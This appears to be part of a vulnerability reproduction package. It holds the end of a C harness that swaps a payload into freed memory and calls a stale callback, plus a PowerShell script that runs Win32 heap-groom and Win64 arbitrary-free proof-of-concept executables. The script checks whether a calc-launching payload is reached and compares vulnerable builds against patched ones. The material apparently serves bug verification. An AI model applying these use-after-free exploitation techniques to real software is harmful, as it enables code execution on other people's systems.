if(replacement)
memcpy(replacement, &payload, sizeof(payload));
fprintf(stderr, "triggering_stale_callback cb=%p\n", stale_victim->cb);
stale_victim->cb();
return victim_freed ? 2 : 0;
}
int main(int argc, char **argv)
{
if(argc > 1 && !strcmp(argv[1], "calc"))
launch_real_calc = 1;
app_heap = HeapCreate(0, 0, 0);
if(!app_heap)
return 69;
return run_once();
}

View File

@@ -0,0 +1,76 @@
$ErrorActionPreference = "Continue"
$Root = Split-Path -Parent $MyInvocation.MyCommand.Path
$Poc = Join-Path $Root "poc"
Set-Location -LiteralPath $Root
function Show-Matches($text, $patterns) {
$pattern = [string]::Join("|", $patterns)
$text | Select-String -Pattern $pattern
}
Remove-Item -LiteralPath (Join-Path $Root "x86_calc_payload_reached.txt") -ErrorAction SilentlyContinue
Remove-Item -LiteralPath (Join-Path $Root "x64_calc_payload_reached.txt") -ErrorAction SilentlyContinue
Write-Output "== Win32 publickey-list calc chain =="
$x86v = Join-Path $Poc "publickey_win32_heap_groom_calc_repro.exe"
$x86c = Join-Path $Poc "publickey_win32_heap_groom_calc_repro_checked.exe"
$x86Args = @("3", "n", "call", "4068")
$hit = 0
$hitOut = $null
for($i = 1; $i -le 30; $i++) {
$out = & $x86v @x86Args 2>&1
if($LASTEXITCODE -eq 77) {
$hit = $i
$hitOut = $out
break
}
}
if($hit) {
Write-Output "x86_vulnerable_calc=hit attempt=$hit limit=30"
Show-Matches $hitOut @("attrs_alloc", "victim\[", "marker_function_reached", "calc_launch")
}
else {
Write-Output "x86_vulnerable_calc=miss limit=30"
}
if(Test-Path (Join-Path $Root "x86_calc_payload_reached.txt")) {
Get-Content (Join-Path $Root "x86_calc_payload_reached.txt")
}
$checkedHit = 0
for($i = 1; $i -le 30; $i++) {
& $x86c @x86Args *> $null
if($LASTEXITCODE -eq 77) {
$checkedHit = $i
break
}
}
if($checkedHit) {
Write-Output "x86_checked_calc=unexpected_hit attempt=$checkedHit limit=30"
}
else {
Write-Output "x86_checked_calc=no_hit limit=30"
}
Write-Output ""
Write-Output "== Win64 publickey-list calc chain =="
$x64v = Join-Path $Poc "publickey_win64_arbitrary_free_calc_repro.exe"
$x64c = Join-Path $Poc "publickey_win64_arbitrary_free_calc_repro_checked.exe"
$x64Out = & $x64v calc 2>&1
$x64Exit = $LASTEXITCODE
Write-Output "x64_vulnerable_calc_exit=$x64Exit"
Show-Matches $x64Out @("victim=", "free ptr=", "free_ignored_unknown", "victim_freed=", "same_as_victim=1", "calc_payload_reached", "calc_launch")
if(Test-Path (Join-Path $Root "x64_calc_payload_reached.txt")) {
Get-Content (Join-Path $Root "x64_calc_payload_reached.txt")
}
$x64CheckedOut = & $x64c calc 2>&1
$x64CheckedExit = $LASTEXITCODE
Write-Output "x64_checked_calc_exit=$x64CheckedExit"
Show-Matches $x64CheckedOut @("victim_freed=", "same_as_victim=", "safe_callback_reached", "calc_payload_reached", "calc_launch")